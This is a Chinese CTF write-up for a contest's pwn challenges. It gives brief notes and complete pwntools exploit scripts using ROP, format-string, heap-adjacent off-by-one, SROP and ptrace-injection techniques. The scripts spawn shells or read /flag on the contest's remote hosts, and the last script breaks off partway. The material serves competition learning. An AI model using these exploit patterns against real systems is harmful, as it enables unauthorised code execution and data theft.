参加的第二个CTF比赛,不小心 ak Pwn 了
和校内全栈神mxym一起打的
唯一抢到的一血是 PWN_GAME
学到了一些新东西
old_rop
简单的ret2csu
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)libc = ELF('./libc.so.6')
choice = 1if choice: port = 31452 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
bss = elf.bss(0x100)
payload = b'\x00'*(0x80+8) + p64(0x4012CA)payload += p64(0)payload += p64(0)payload += p64(1)payload += p64(elf.got['read'])payload += p64(6)payload += p64(elf.got['write'])payload += p64(0x4012B0)payload += p64(0)payload += p64(0)payload += p64(0)payload += p64(0)payload += p64(bss)payload += p64(0x100)payload += p64(elf.got['read'])payload += p64(0x4012B0)payload += p64(0)payload += p64(0)payload += p64(0)payload += p64(bss + 8)payload += p64(0)payload += p64(0)payload += p64(bss)payload += p64(0x4012B0)debug()sa(b'!\x00\n', payload)
libc_base = uu64(r(6)) - libc.sym['read']leak('libc_base')
s(p64(libc_os(libc.sym['execve'])) + b'/bin/sh\x00')
itr()Mission Calculator
基础pwntools使用
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './calc'elf = ELF(file)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
choice = 1if choice: port = 31552 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
sa(b'Press any key to start...', b'\n')
for i in range(50): problem = ru(b'=').decode().split(': ')[1].split(' =')[0] sl(str(eval(problem)).encode())
itr()Mission Cipher Text
简单的ret2text
用cat flag >&2输出到标准错误流
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
choice = 1if choice: port = 32133 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
sla(b'choice >', '2')
# debug()
sa(b'feedback:', b'\x00'*(0x20+8) + p64(0x4014AA) + p64(0x4014AB))
itr()
# cat flag >&2Mission Exception Registration
读入覆盖+ret2libc
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)libc = ELF('./libc.so.6')
choice = 1if choice: port = 32078 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
sla(b'choice >>', b'1')sa(b'name:\n', b'ItsFlicker')sa(b'password:\n', b'\x00'*33)
sla(b'choice >>', b'3')sa(b'password:\n', b'\x00'*32)
ru('WELCOME, ADMINISTRATOR.\n')libc_base = uu64(r(6)) - libc.sym['puts']leak('libc_base')
sla(b'choice >>', b'2')sa(b'feedback:\n', b'\x00'*(0x10+8) + p64(libc_os(0x029cd6)) + p64(libc_os(0x02a3e5)) + p64(libc_os(0x1d8698)) + p64(libc_os(libc.sym['system'])))
# debug()
itr()次元囚笼
使用strcpy溢出,所以不能有\0把payload截断
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)# libc = ELF('./libc.so.6')
choice = 1if choice: port = 32710 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
sla(b'>> : ', b'3')sa(b'love \n', b'love\x00')
sla(b'>> : ', b'1')sa(b'forever\n', b'A'*(0x20+8) + p64(0x4012D9))
sla(b'>> : ', b'2')debug()sa(b'prayer', b'1\x00')
itr()Mission Transponder
首先将Canary最低位\0覆盖,泄露Canary,然后改返回地址最低位,重新进入函数
这一次泄露pie,进入另一个函数,用fmt泄露libc_base
然后orw
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)libc = ELF('./libc.so.6')
choice = 1if choice: port = 31067 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
sa(b'data:\n', b'A'*(40+1))ru(b'A'*41)canary = uu64(r(7))*256leak('canary')
stack = uu64(r(6))leak('stack')
sa(b'logs:\n', b'A'*40 + p64(canary) + b'\x00'*8 + p8(0x92))
sa(b'data:\n', b'A'*(0x30+8))ru(b'A'*0x38)pie = uu64(r(6)) - (elf.sym['main'] + 19)leak('pie')sa(b'logs:\n', b'A'*40 + p64(canary) + b'\x00'*8 + p64(pie + elf.sym['repeat_error']))
sa(b'data:\n', b'%30$p\n\x00')libc_base = int(p.recvline(keepends=False).decode(), 16) - (libc.sym['__libc_start_main'] + 137)leak('libc_base')s(b'A'*8 + p64(canary) + b'\x00'*8 + p64(pie + elf.sym['repeater']))
rax = libc_os(0x0d4f97)rdi = libc_os(0x102dea)rsi = libc_os(0x053887)mov_rdx_rax = libc_os(0x128507)syscall = pie + 0x0011DDbss_start = pie + elf.bss(0x100)
sa(b'data:\n', b'\x00')debug()payload = b'A'*40 + p64(canary) + b'\x00'*8 + p64(rdi) + p64(0) + p64(rsi) + p64(bss_start) + p64(rax) + p64(6) + p64(mov_rdx_rax) + p64(rax) + p64(0) + p64(syscall)payload += p64(rdi) + p64(bss_start) + p64(rsi) + p64(0) + p64(rax) + p64(0x40) + p64(mov_rdx_rax) + p64(rax) + p64(2) + p64(syscall)payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss_start + 0x100) + p64(rax) + p64(0x40) + p64(mov_rdx_rax) + p64(rax) + p64(0) + p64(syscall)payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss_start + 0x100) + p64(rax) + p64(0x40) + p64(mov_rdx_rax) + p64(rax) + p64(1) + p64(syscall)s(payload)sleep(1)s(b'/flag\x00')
itr()Mission Ember
每次操作改一点栈帧,最后无限读,orw
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)libc = ELF('./libc.so.6')
choice = 1if choice: port = 31579 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
shellcode = '''pop raxmov al, 0x60pop rsipush raxret'''# debug()sa(b'HQ', asm(shellcode))
shellcode = '''pop raxmov al, 0x60push rsipush raxret'''# debug()s(asm(shellcode))
shellcode = '''pop raxpop raxpop rsipop rdxsyscall'''# debug()s(asm(shellcode))
shellcode = shellcraft.open('/flag')shellcode += shellcraft.read(3, 0x408000, 0x40)shellcode += shellcraft.write(1, 0x408000, 0x40)debug()s(b'\x90'*6 + asm(shellcode))
itr()Mission Absolutely Abyss
输入负数绕过检查,然后直接改返回地址位置
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)# libc = ELF('./libc.so.6')
choice = 0if choice: port = 30683 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
debug()sla(b'array:\n', b'-1') # 0xffffffff abs32 = 1
sla(b'choice:\n', b'1')sla(b'write: \n', b'14')sla(b'num\n', str(0x4007DA).encode())
sla(b'choice:\n', b'1')sla(b'write: \n', b'15')sla(b'num\n', b'0')
sla(b'choice:\n', b'3')
itr()血池轮回
为什么需要9天?
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)libc = ELF('./libc.so.6')
choice = 1if choice: port = 30913 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
debug('b *0x40142D\nc\n')shellcode = '''pop rbxpush rbxret'''sa(b'? ', b'n')sa(b'!', asm(shellcode))
shellcode = '''mov bx, 0x13F8ret'''sa(b'? ', b'n')sa(b'!', asm(shellcode))
shellcode = '''mov dl, 0xffpush rbxretnop'''sa(b'? ', b'n')sa(b'!', asm(shellcode))
s(asm(shellcraft.sh()))
itr()null_file
为了绕过munmap,必须把栈上的len改为0
printf中,可以用%*XX$c输出指定数量的字符
由于栈地址的数值过大,%hn的结果似乎是”反码”?所以输出两次
这样,只需要爆破栈地址一个字节
from pwn import *import struct
context(arch='amd64', os='linux')# context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)# libc = ELF('./libc.so.6')
shellcode = asm(shellcraft.sh())if len(shellcode) % 2 != 0: shellcode += b'\x90'words = struct.unpack('<' + 'H' * (len(shellcode)//2), shellcode)
def solve(p):
s = lambda data :p.send(data) sa = lambda x,data :p.sendafter(x, data) rl = lambda num=4096 :p.recvline(num) itr = lambda :p.interactive()
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd) # debug('b *$rebase(0x0014F2)\nc\nstack 45') sa(b'actions: \n', f'%*19$c%19$hn\n'.encode()) sa(b'actions: \n', f'%*39$c%19$hn\n'.encode()) sa(b'actions: \n', f'%{0x20}c%19$hhn\n'.encode()) sa(b'actions: \n', f'%39$hn\n'.encode())
for i in words: sa(b'actions: \n', f'%{i}c%11$hn\n'.encode())
sa(b'actions: \n', f'%{0x10}c%19$hhn\n'.encode())
sa(b'actions: \n', f'%8c%39$hhn\n'.encode()) # gdb.attach(p) sa(b'actions: \n', b'\n'*16) s(b'cat /flag\n') return rl()
for i in range(100): choice = 1 if choice: port = 31352 target = 'geek.ctfplus.cn' p = remote(target, port) else: p = process(file, aslr=True) try: print(solve(p)) break except: p.close()Mission Shadow
annontation存在off by one
按下图布局:(其实有一步是冗余的,但我懒得重新搞了)

from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)libc = ELF('./libc.so.6')
choice = 1if choice: port = 30337 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
sla(b'choice>> ', b'3')ru(b'detected: ')pie = int(p.recvline(keepends=False).decode(), 16) - elf.sym['shadow']leak('pie')
task_list = pie + elf.sym['task_list']
sla(b'choice>> ', b'1')sla(b'choice>> ', b'1') # commit_feedbacksa(b'):\n', b'/bin/sh\x00\n')
sla(b'choice>> ', b'1')sla(b'choice>> ', b'2') # show_time -> smashsa(b'):\n', b'A'*16 + p8(0x4B))
sla(b'choice>> ', b'1')sla(b'choice>> ', b'2') # show_time -> leave; retsa(b'):\n', b'A'*16 + p8(0x73))
sla(b'choice>> ', b'1')sla(b'choice>> ', b'3') # dancesa(b'):\n', b'\n')
sla(b'choice>> ', b'1')sla(b'choice>> ', b'2') # show_timesa(b'):\n', p64(task_list) + p64(pie + elf.sym['dance'] + 20) + p8(0))
sla(b'choice>> ', b'1')sla(b'choice>> ', b'2') # show_timesa(b'):\n', p64(pie + elf.sym['unreachable'] + 4) + b'sh\n')
sla(b'choice>> ', b'1')sla(b'choice>> ', b'2') # show_timesa(b'):\n', p64(task_list + 0x60) + p64(pie + elf.sym['execute_task'] + 137) + b'\n')
sla(b'choice>> ', b'2')
# debug()sa(b'feedback:\n', b'A'*0x10 + p64(task_list + 0x90))
sa(b'about.\n', p64(task_list) + p64(pie + elf.sym['unreachable'] + 4))
s(b'A'*0x10 + p64(task_list))
itr()last_rop
按%d读入,又按%x放入,于是rop链中的地址只能包含0~9
这里找到了mov rax, r12,而r12指向的内容可以控制
注意:不能继续往下输入(r13)使得环境变量被覆盖,否则system(“sh”)无法正常运行
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)# libc = ELF('./libc.so.6')
choice = 0if choice: port = 31347 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
# debug('b *0x401A26\nc\n')# debug('b *0x401914\nc\n')
sla(b'rop! ', b'1')sla(b'rop! ', b'2')sla(b'rop! ', b'3')sla(b'rop! ', str(400000001).encode()) # isla(b'rop! ', str(416087).encode()) # 0x416087 : mov rax, r12 ; pop r12 ; pop r13 ; pop rbp ; retsla(b'rop! ', b'1')sla(b'rop! ', b'2')sla(b'rop! ', b'3')# sla(b'rop! ', str(401965).encode())sla(b'rop! ', str(401914).encode()) # blah : mov rdi, rax ; call system
for i in range(30): # r12 sla(b'rop! ', str(6873).encode()) # sh # sla(b'rop! ', str(3024).encode()) # $0 也可以
# debug('b *0x4019c0\nc\n')sla(b'rop! ', b'0')
itr()Mission Sink
alloca会在栈上分配空间,但不会清空,以此泄露libc_base和Canary
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)libc = ELF('./libc.so.6')
choice = 1if choice: port = 32363 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
debug('b struggle\nc\n')
for i in range(6): sla(b'Your choice: \n', b'4') sla(b'going?\n', str(0x101).encode())
sla(b'Your choice: \n', b'4')sla(b'going?\n', str(0x40-23).encode())ru(b'I need you.\n')libc_base = uu64(r(8)) - (libc.sym['puts'] + 506)leak('libc_base')
sla(b'Your choice: \n', b'4')sla(b'going?\n', str(0x130-23).encode())ru(b'I need you.\n')canary = uu64(r(8))leak('canary')
sla(b'Your choice: \n', b'1')payload = b'A'*(0x20-8) + p64(canary) + p64(0) + p64(libc_os(0xe5ff0))sa(b'love me?\n', payload)
itr()Mission Anabiosis
用链表结构保存数据
用off by null进入管理员模式
泄露链表指针得知pie,然后ret2libc
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)libc = ELF('./libc.so.6')
choice = 1if choice: port = 30411 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
sa(b'Your choice:\n', b'1')ru(b'uid is:')uid = int(p.recvline(keepends=False).decode())sa(b'name: ', b'mxym')sa(b'data: ', b'A')
sa(b'Your choice:\n', b'3')sa(b'uid to edit: ', str(uid).encode())sa(b'name: ', b'A'*16)sa(b'data: ', b'A')
sa(b'Your choice:\n', b'1')sa(b'name: ', b'ItsFlicker')sa(b'data: ', b'/bin/sh\x00')
sa(b'Your choice:\n', b'0')sla(b'uid: ', str(uid).encode())
sa(b'Your choice:\n', b'6')sa(b'Your choice:\n', b'2')sla(b'index to edit: ', b'1')sa(b'data: ', b'A'*0x80)
sa(b'Your choice:\n', b'3')sa(b'Your choice:\n', b'4')sa(b'uid to show: ', str(uid).encode())
ru(b'A'*0x80)pie = uu64(r(6)) - (elf.sym['node_pool'] + 168)leak('pie')
sa(b'Your choice:\n', b'0')sla(b'uid: ', str(uid).encode())
sa(b'Your choice:\n', b'6')sa(b'Your choice:\n', b'4')debug()payload = b'A'*(0x10+8) + p64(pie + 0x001cf4) + p64(pie + elf.got['puts']) + p64(pie + elf.plt['puts']) + p64(pie + 0x001CD9)sa(b'I love you.\n', payload)
libc_base = uu64(r(6)) - (libc.sym['puts'])leak('libc_base')
payload = b'A'*(0x10+8) + p64(pie + 0x001cf4) + p64(pie + elf.sym['node_pool'] + 376) + p64(libc_os(libc.sym['system']))sa(b'I love you.\n', payload)
itr()Mission Memory Cloister
改got_exit,然后把got_rand改为one_gadget,返回地址改为sharp
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)libc = ELF('./libc.so.6')
choice = 1if choice: port = 30253 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
# debug('b *0x401321\nc\n')
sa(b'Exit.\n', b'2')sla(b'voice.\n', b'A'*0x100 + b'%87c%8$hhn%187c%9$hhn%33$p\x00')
sa(b'Exit.\n', b'1')sa(b'for?\n', p64(0x404040) + p64(0x404041))
ru(b'\x00')libc_base = int(r(14).decode(), 16) - (libc.sym['__libc_start_main'] + 137)leak('libc_base')
one_gadget = libc_os(0xe5ff0) # r9, r10 = 0
for i in range(6): sa(b'Exit.\n', b'2') sla(b'voice.\n', b'A'*0x100 + f'%{one_gadget % 256}c%8$hhn%12$p\x00'.encode())
sa(b'Exit.\n', b'1') sa(b'for?\n', p64(0x404048 + i))
one_gadget //= 256
ru(b'0x')stack = int(r(12).decode(), 16)leak('stack')
sa(b'Exit.\n', b'2')sla(b'voice.\n', b'A'*0x100 + b'%182c%8$hhn%91c%9$hhn\x00')
sa(b'Exit.\n', b'1')sa(b'for?\n', p64(stack - 0x78) + p64(stack - 0x78 + 1))
sa(b'Exit.\n', b'3')
itr()ptrce
用ptrace把子进程的got_seccomp全部改为空函数
再把sleep的返回地址改为父进程的功能地址,实现任意shellcode执行
这里attach后要等待子进程收到信号并暂停,用ai写了个暂停1秒
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)
choice = 2if choice == 2: port = 32704 target = 'geek.ctfplus.cn' p = remote(target, port)elif choice == 1: p = process(file)else: p = gdb.debug(file, ''' set follow-fork-mode parent b *0x401849 b *0x401AC2 c ''')
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))leak2 = lambda name :log.success('{} = {}'.format(name, eval(name)))
sla(b'4) Exit\n', b'2')ru(b'PID = ')pid = int(p.recvline(keepends=False))leak2('pid')
shellcode = f'''
mov rax, 101mov rdi, 16mov rsi, {pid}mov rdx, 0mov r10, 0syscall
call sleep_1_second
mov rax, 101mov rdi, 5mov rsi, {pid}lea rdx, [rbp-0x78]mov r10, 0x4018E1syscall
mov rax, 101mov rdi, 5mov rsi, {pid}mov rdx, 0x404020mov r10, 0x401B88syscall
mov rax, 101mov rdi, 5mov rsi, {pid}mov rdx, 0x404030mov r10, 0x401B88syscall
mov rax, 101mov rdi, 5mov rsi, {pid}mov rdx, 0x404040mov r10, 0x401B88syscall
mov rax, 101mov rdi, 5mov rsi, {pid}mov rdx, 0x404068mov r10, 0x401B88syscall
mov rax, 101mov rdi, 7mov rsi, {pid}mov rdx, 0mov r10, 0syscall
mov rax, 101mov rdi, 17mov rsi, {pid}mov rdx, 0mov r10, 0syscall
sleep_1_second: push rbp mov rbp, rsp sub rsp, 32
mov rax, 96 lea rdi, [rsp+16] mov rsi, 0 syscall
mov r8, [rsp+16] mov r9, [rsp+24]
sleep_loop: mov rax, 96 lea rdi, [rsp] mov rsi, 0 syscall
mov r10, [rsp] mov r11, [rsp+8]
sub r10, r8 imul r10, r10, 1000000 sub r11, r9 add r10, r11
cmp r10, 1000000 jl sleep_loop
add rsp, 32 pop rbp ret
''' # 不能出现\x0a
asm1 = asm(shellcode)
assert b'\x0a' not in asm1
sla(b'4) Exit\n', b'1')sla(b'to be?\n', str(len(asm1) + 1).encode())sla(b'the memory?\n', b'7')sla(b'to include?\n', asm1)
ru(b'at ')addr = int(p.recvline(keepends=False), 16)leak('addr')
sla(b'4) Exit\n', b'3')sla(b'to execute code?\n', hex(addr)[2:].encode())
asm2 = asm(shellcraft.sh())
sla(b'4) Exit\n', b'1')sla(b'to be?\n', str(len(asm2) + 1).encode())sla(b'the memory?\n', b'7')sla(b'to include?\n', asm2)
ru(b'at ')addr = int(p.recvline(keepends=False), 16)leak('addr')
sla(b'4) Exit\n', b'3')sla(b'to execute code?\n', hex(addr)[2:].encode())
itr()Mission Last Spell
栈迁移
需要在栈上找一个地址,使其覆盖最低位后变为syscall地址,且执行下去能返回
这里只需[rbp+0x340]位置内容为0
srop的部分,改地址时要提前在下方写好rbp和返回地址,frame需要分两次读入
然后orw
(为什么栈的相对偏移会变?我没搞懂)
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)libc = ELF('./libc.so.6')
choice = 1
def solve(): if choice: port = 30468 target = 'geek.ctfplus.cn' p = remote(target, port) else: p = process(file, aslr=False)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{}'.format(name)) libc_os = lambda x :libc_base + x
ru(b'received : ') l = rl().decode().split('; ') stack = int(l[0], 16) pie = int(l[1], 16) - 0x004050 leak('pie') ru(b'enabled\n')
rbp1 = stack + 0x8 # rbp3 = rbp1 - 0x478 rbp3 = rbp1 - 0xf68 rbp2 = rbp3 + 0x88
leak('rbp1') leak('rbp2') leak('rbp3') log.success(hex(rbp3))
# debug() payload = b'A'*0x80 payload += p64(rbp2) payload += p64(pie + 0x001584) s(payload)
